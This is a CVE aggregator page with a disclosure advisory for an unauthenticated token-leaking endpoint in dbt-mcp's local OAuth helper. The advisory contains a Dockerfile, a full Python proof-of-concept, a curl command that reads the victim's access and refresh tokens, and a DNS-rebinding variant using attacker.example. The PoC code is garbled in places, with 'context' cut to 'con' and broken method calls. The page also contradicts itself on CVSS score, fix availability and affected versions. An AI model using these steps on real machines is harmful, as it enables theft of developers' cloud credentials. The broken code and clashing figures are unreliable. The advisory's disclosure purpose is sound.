CVE-2026-55837

MEDIUMPre-NVD 6.86.8
EchelonGraph scoreLOW confidence

This medium-severity CVE scores 6.8 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
6.8
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • Lower severity and no public exploit yet
CISA-KEV: Not listedEPSS: CVSS: 6.8Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

dbt MCP Server: Unauthenticated OAuth Context Endpoint Leaks dbt Platform Tokens

Unauthenticated OAuth Context Endpoint Leaks dbt Platform Tokens

Summary

The local OAuth helper FastAPI server bundled with dbt-mcp exposes the GET /dbt_platform_context endpoint without any form of authentication or host-origin validation. After a user completes the OAuth login flow against dbt Cloud (cloud.getdbt.com), the endpoint returns the full DbtPlatformContext object — including the victim's access_token and refresh_token for the dbt Platform API — verbatim to any caller that can reach 127.0.0.1:6785. An attacker who can direct the victim's browser to the helper origin via DNS rebinding, or who has co-located process access on the same host, can silently exfiltrate both tokens. The stolen bearer token grants full dbt Cloud API access as the victim; the refresh token enables persistent access beyond the original token's expiry. CVSS Base Score: 8.0 (High).

Details

During the OAuth login flow, dbt-mcp launches an embedded FastAPI server (the "OAuth helper") bound to 127.0.0.1 starting on port 6785 (configured at src/dbt_mcp/config/credentials.py:34, OAUTH_REDIRECT_STARTING_PORT = 6785). After the OAuth callback is handled, the helper persists the full token context to disk and continues serving requests.

Data flow from source to sink:

  • Sourcesrc/dbt_mcp/oauth/fastapi_app.py:106: The OAuth callback receives token_response from the dbt Platform authorization server.
  • src/dbt_mcp/oauth/dbt_platform.py:60: AccessTokenResponse(**token_response) stores access_token and refresh_token as plaintext fields.
  • src/dbt_mcp/oauth/dbt_platform.py:64–69: The AccessTokenResponse is embedded inside DecodedAccessToken, which is in turn embedded inside DbtPlatformContext.
  • src/dbt_mcp/oauth/fastapi_app.py:114: The fully token-bearing DbtPlatformContext object is passed to context_manager for persistence.
  • Persistence sinksrc/dbt_mcp/oauth/context_manager.py:63–64: yaml.dump(context.model_dump()) serializes the entire model — including tokens — to a YAML file on disk.
  • HTTP sinksrc/dbt_mcp/oauth/fastapi_app.py:162–165: The GET /dbt_platform_context route reads the YAML file back and returns the raw DbtPlatformContext object with no redaction.

# src/dbt_mcp/oauth/fastapi_app.py:162-165
@app.get("/dbt_platform_context")
def get_dbt_platform_context() -> DbtPlatformContext:
    logger.info("Selected project received")
    return dbt_platform_context_manager.read_context() or DbtPlatformContext()

# src/dbt_mcp/oauth/dbt_platform.py:8-14
class AccessTokenResponse(BaseModel):
    access_token: str
    refresh_token: str
    ...

class DbtPlatformContext(BaseModel): decoded_access_token: DecodedAccessToken | None = None ...

Missing protections (confirmed by grep):

  • No TrustedHostMiddleware — the server accepts requests with arbitrary Host headers, enabling DNS rebinding.
  • No CORSMiddleware — no cross-origin restrictions on which sites can read the response.
  • No CSRF protection, no session nonce, no Origin header validation.
  • The route has no FastAPI Depends() security dependency.

A grep -Rni "TrustedHostMiddleware\|CORSMiddleware\|csrf\|origin" across the OAuth FastAPI application returns no results.

Recommended remediation:

--- a/src/dbt_mcp/oauth/fastapi_app.py
+++ b/src/dbt_mcp/oauth/fastapi_app.py
+from starlette.middleware.trustedhost import TrustedHostMiddleware
+
+def _redact_context(context: DbtPlatformContext | None) -> DbtPlatformContext:
+    if context is None:
+        return DbtPlatformContext()
+    return context.model_copy(update={"decoded_access_token": None})

app = FastAPI() + app.add_middleware( + TrustedHostMiddleware, + allowed_hosts=["localhost", "127.0.0.1"], + )

@app.get("/dbt_platform_context") def get_dbt_platform_context() -> DbtPlatformContext: logger.info("Selected project received")

  • return dbt_platform_context_manager.read_context() or DbtPlatformContext()
+ return _redact_context(dbt_platform_context_manager.read_context())

PoC

Prerequisites:

  • dbt-mcp v1.19.1 installed in a Python 3.12 environment.
  • The following runtime dependencies available: authlib~=1.6.7, fastapi~=0.128.0, uvicorn~=0.38.0, pyyaml~=6.0.2, httpx~=0.28.1, starlette~=0.50.0, pydantic~=2.0, pydantic-settings~=2.10.1.
  • No DBT_TOKEN set (OAuth flow mode active).

Step 1 — Build the Docker test environment:

docker build -t vuln001-dbt-mcp -f vuln-001/Dockerfile .

The Dockerfile installs only the OAuth helper's runtime dependencies and copies src/ and poc.py:

FROM python:3.12-slim
WORKDIR /app
RUN pip install --no-cache-dir \
    "authlib~=1.6.7" "fastapi~=0.128.0" "uvicorn~=0.38.0" \
    "pyjwt~=2.12.0" "pyyaml~=6.0.2" "httpx~=0.28.1" \
    "filelock~=3.20.3" "starlette~=0.50.0" "requests>=2.28" \
    "pydantic~=2.0" "pydantic-settings~=2.10.1"
COPY repo/src /app/src
ENV PYTHONPATH=/app/src
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]

Step 2 — Run the PoC:

docker run --rm --network=host vuln001-dbt-mcp

The PoC script (poc.py) performs the following automatically:

  • Writes a realistic fake OAuth context YAML to /tmp/dbt_poc_mcp.yml, simulating a victim who has already completed the OAuth login flow.
  • Instantiates the real create_app() from src/dbt_mcp/oauth/fastapi_app.py using DbtPlatformContextManager backed by the pre-seeded file.
  • Starts the server on 127.0.0.1:16785 in a background thread.
  • Issues an unauthenticated GET /dbt_platform_context with no Authorization header.
  • Asserts that access_token and refresh_token are returned verbatim.

Equivalent manual curl (against the live OAuth helper during actual OAuth flow):

# While the victim is running the OAuth login flow:
export DBT_HOST='cloud.getdbt.com'
unset DBT_TOKEN
dbt-mcp   # OAuth helper starts on 127.0.0.1:6785

From any co-located process (or a DNS-rebinding browser page):

curl -s 'http://127.0.0.1:6785/dbt_platform_context' \ | jq '.decoded_access_token.access_token_response'

Expected output (Phase 2 observed):

[*] HTTP Status: 200
[*] Full response JSON:
{
  "decoded_access_token": {
    "access_token_response": {
      "access_token": "eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER",
      "refresh_token": "dbt-platform-offline-refresh-SUPERSECRET-abc123",
      "expires_in": 3600,
      "scope": "user_access offline_access",
      "token_type": "Bearer",
      "expires_at": 9999999999
    },
    ...
  },
  ...
}
[!] LEAKED access_token  : eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER
[!] LEAKED refresh_token : dbt-platform-offline-refresh-SUPERSECRET-abc123
[+] VULNERABILITY CONFIRMED: Tokens returned from /dbt_platform_context WITHOUT authentication!

DNS rebinding variant:

A malicious website can resolve attacker.example to 127.0.0.1 after the browser's DNS TTL expires ("DNS rebinding"). Because the helper accepts any Host header, the browser treats http://attacker.example:6785 as same-origin and fetches /dbt_platform_context via JavaScript fetch(), obtaining the full token JSON across the network without any local access.

Impact

Any local process running as any user on the same host, or a remote attacker who exploits DNS rebinding against a victim's browser during or after the OAuth login session, can retrieve the victim's full dbt Cloud OAuth tokens with a single unauthenticated HTTP GET request. The access_token grants immediate bearer-token access to the dbt Cloud REST and GraphQL APIs on behalf of the victim. The refresh_token (with offline_access scope) allows the attacker to obtain new access tokens after the original expires, providing persistent unauthorized access until the victim manually revokes the OAuth grant. An attacker with these tokens can read or modify dbt projects, run jobs, access environment secrets, and exfiltrate data lineage and warehouse credentials stored in dbt Cloud.

This vulnerability is a Missing Authentication for Critical Function (CWE-306). Any developer machine running dbt-mcp with OAuth-mode authentication is affected for the duration of the OAuth helper process lifetime. Because dbt-mcp is a developer tool, the primary victims are individual developers and their associated dbt Cloud organization accounts.

Reproduction artifacts

Dockerfile

FROM python:3.12-slim

WORKDIR /app

Install minimal runtime dependencies (no heavy dbt-protos/dbt-sl-sdk needed

because fastapi_app.py's import chain doesn't touch them)

RUN pip install --no-cache-dir \ "authlib~=1.6.7" \ "fastapi~=0.128.0" \ "uvicorn~=0.38.0" \ "pyjwt~=2.12.0" \ "pyyaml~=6.0.2" \ "httpx~=0.28.1" \ "filelock~=3.20.3" \ "starlette~=0.50.0" \ "requests>=2.28" \ "pydantic~=2.0" \ "pydantic-settings~=2.10.1"

Copy only the source tree needed for the OAuth server

COPY repo/src /app/src

ENV PYTHONPATH=/app/src

COPY vuln-001/poc.py /app/poc.py

CMD ["python3", "/app/poc.py"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: Unauthenticated OAuth Con Endpoint Leaks dbt Platform Tokens

Attack scenario:

  • dbt-mcp runs a local FastAPI OAuth helper on 127.0.0.1:6785 during login.
  • After the OAuth flow completes, tokens are persisted to ~/.dbt/mcp.yml.
  • GET /dbt_platform_con is accessible with NO authentication at all.
  • Any process on the same host (or a DNS-rebinding browser page) can call it
and receive the full access_token + refresh_token.

This PoC:

  • Pre-seeds a con file with fake-but-realistic OAuth tokens
(simulating a victim who has already completed the OAuth flow).
  • Starts the real vulnerable FastAPI app from src/dbt_mcp/oauth/fastapi_app.py.
  • Issues an unauthenticated HTTP GET /dbt_platform_con (no auth header).
  • Confirms the tokens are returned verbatim.
"""

import asyncio import json import os import sys import tempfile import threading import time from pathlib import Path

import httpx import uvicorn import yaml

Fake tokens that simulate a victim's completed OAuth session.

FAKE_ACCESS_TOKEN = "eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER" FAKE_REFRESH_TOKEN = "dbt-platform-offline-refresh-SUPERSECRET-abc123"

FAKE_CONTEXT = { "decoded_access_token": { "access_token_response": { "access_token": FAKE_ACCESS_TOKEN, "refresh_token": FAKE_REFRESH_TOKEN, "expires_in": 3600, "scope": "user_access offline_access", "token_type": "Bearer", "expires_at": 9999999999, }, "decoded_claims": { "sub": "99999", "iat": 1700000000, "exp": 9999999999, }, }, "host_prefix": "victimco", "dbt_host": "cloud.getdbt.com", "account_id": 42, "selected_project_ids": None, "dev_environment": None, "prod_environment": None, }

PORT = 16785

def start_server(context_file: Path, static_dir: str) -> None: """Run the actual vulnerable FastAPI app in a background thread.""" from authlib.integrations.requests_client import OAuth2Session from dbt_mcp.oauth.context_manager import DbtPlatformContextManager from dbt_mcp.oauth.fastapi_app import create_app

context_manager = DbtPlatformContextManager(context_file)

# A dummy OAuth client — only used by the /oauth-callback route, # which this PoC never triggers. fake_oauth_client = OAuth2Session(client_id="poc-dummy-client")

app = create_app( oauth_client=fake_oauth_client, state_to_verifier={}, dbt_platform_url="https://cloud.getdbt.com", static_dir=static_dir, dbt_platform_context_manager=context_manager, )

loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) config = uvicorn.Config( app=app, host="127.0.0.1", port=PORT, log_level="error", loop="asyncio" ) server = uvicorn.Server(config) loop.run_until_complete(server.serve())

def wait_for_server(port: int, timeout: float = 15.0) -> bool: import socket

deadline = time.time() + timeout while time.time() < deadline: try: with socket.create_connection(("127.0.0.1", port), timeout=1): return True except OSError: time.sleep(0.2) return False

def main() -> int: print("[*] VULN-001 PoC — Unauthenticated /dbt_platform_con token leak") print("=" * 70)

# 1. Pre-seed con file (victim has completed OAuth; tokens are on disk) context_file = Path("/tmp/dbt_poc_mcp.yml") context_file.write_( yaml.dump(FAKE_CONTEXT, default_flow_style=False), encoding="utf-8" ) print(f"[*] Con file written: {context_file}") print(f" access_token : {FAKE_ACCESS_TOKEN}") print(f" refresh_token : {FAKE_REFRESH_TOKEN}")

# 2. Minimal static dir so NoCacheStaticFiles mount doesn't error on startup static_dir = tempfile.mkdtemp(prefix="dbt_poc_static_") (Path(static_dir) / "index.html").write_("dbt OAuth")

# 3. Start the real vulnerable FastAPI server in a background thread t = threading.Thread( target=start_server, args=(context_file, static_dir), daemon=True ) t.start()

print(f"\n[*] Waiting for FastAPI server to start on 127.0.0.1:{PORT} ...") if not wait_for_server(PORT): print("[-] FAIL: Server did not start within timeout.") return 2

print("[*] Server is up.")

# 4. Send unauthenticated GET /dbt_platform_con (no Authorization header) url = f"http://127.0.0.1:{PORT}/dbt_platform_con" print(f"\n[*] Sending unauthenticated GET {url}") try: resp = httpx.get(url, timeout=10) except Exception as exc: print(f"[-] HTTP request failed: {exc}") return 2

print(f"[*] HTTP Status: {resp.status_code}")

if resp.status_code != 200: print(f"[-] FAIL: Expected 200, got {resp.status_code}") print(f" Body: {resp.[:500]}") return 1

try: data = resp.json() except Exception as exc: print(f"[-] FAIL: Response is not JSON: {exc}\n Body: {resp.[:500]}") return 1

print(f"\n[*] Full response JSON:\n{json.dumps(data, indent=2)}")

# 5. Verify that the tokens are in the response (no redaction, no auth required) try: leaked_access = ( data["decoded_access_token"]["access_token_response"]["access_token"] ) leaked_refresh = ( data["decoded_access_token"]["access_token_response"]["refresh_token"] ) except (KeyError, TypeError) as exc: print(f"\n[-] FAIL: Token fields missing from response: {exc}") return 1

print(f"\n[!] LEAKED access_token : {leaked_access}") print(f"[!] LEAKED refresh_token : {leaked_refresh}")

if leaked_access == FAKE_ACCESS_TOKEN and leaked_refresh == FAKE_REFRESH_TOKEN: print( "\n[+] VULNERABILITY CONFIRMED:" " Tokens returned from /dbt_platform_con WITHOUT authentication!" ) return 0 else: print("\n[-] FAIL: Returned tokens do not match expected values.") print(f" Expected access_token : {FAKE_ACCESS_TOKEN}") print(f" Got access_token : {leaked_access}") return 1

if __name__ == "__main__": sys.exit(main())

CVSS v3
6.8
EG Score
6.8(low)
EPSS
KEV
Not listed

Published

June 19, 2026

Last Modified

June 19, 2026

Vendor Advisories for CVE-2026-55837(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
PyPI(1)
PackageVulnerable rangeFixed inDependents
dbt-mcp0.0.1a1 ... 1.9.3 (75 versions)1.20.0

Data Freshness Timeline

(refreshed 8× in last 7d / 19× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-06 22:53 UTCEG score recompute
  2. 2026-07-06 00:08 UTCEG score recompute
  3. 2026-07-05 01:24 UTCEG score recompute
  4. 2026-07-04 02:40 UTCEG score recompute
  5. 2026-07-03 03:52 UTCEG score recompute
  6. 2026-07-02 04:57 UTCEG score recompute
  7. 2026-07-01 06:14 UTCEG score recompute
  8. 2026-06-30 07:31 UTCEG score recompute
  9. 2026-06-29 08:44 UTCEG score recompute
  10. 2026-06-28 10:00 UTCEG score recompute
  11. 2026-06-27 11:17 UTCEG score recompute
  12. 2026-06-26 12:34 UTCEG score recompute
  13. 2026-06-25 13:51 UTCEG score recompute
  14. 2026-06-24 15:08 UTCEG score recompute
  15. 2026-06-23 16:24 UTCEG score recompute
  16. 2026-06-22 17:39 UTCEG score recompute
  17. 2026-06-21 18:55 UTCEG score recompute
  18. 2026-06-20 20:08 UTCEG score recompute
  19. 2026-06-19 21:23 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-55837?
CVE-2026-55837 is a medium vulnerability published on June 19, 2026. dbt MCP Server: Unauthenticated OAuth Context Endpoint Leaks dbt Platform Tokens Unauthenticated OAuth Context Endpoint Leaks dbt Platform Tokens Summary The local OAuth helper FastAPI server bundled with dbt-mcp exposes the GET /dbtplatformcontext endpoint without any form of authentication or…
When was CVE-2026-55837 disclosed?
CVE-2026-55837 was first published in the National Vulnerability Database on June 19, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-55837?
CVE-2026-55837 has a CVSS v4.0 base score of 6.8 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-55837?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-55837, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-55837

Explore →

Is Your Infrastructure Affected by CVE-2026-55837?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.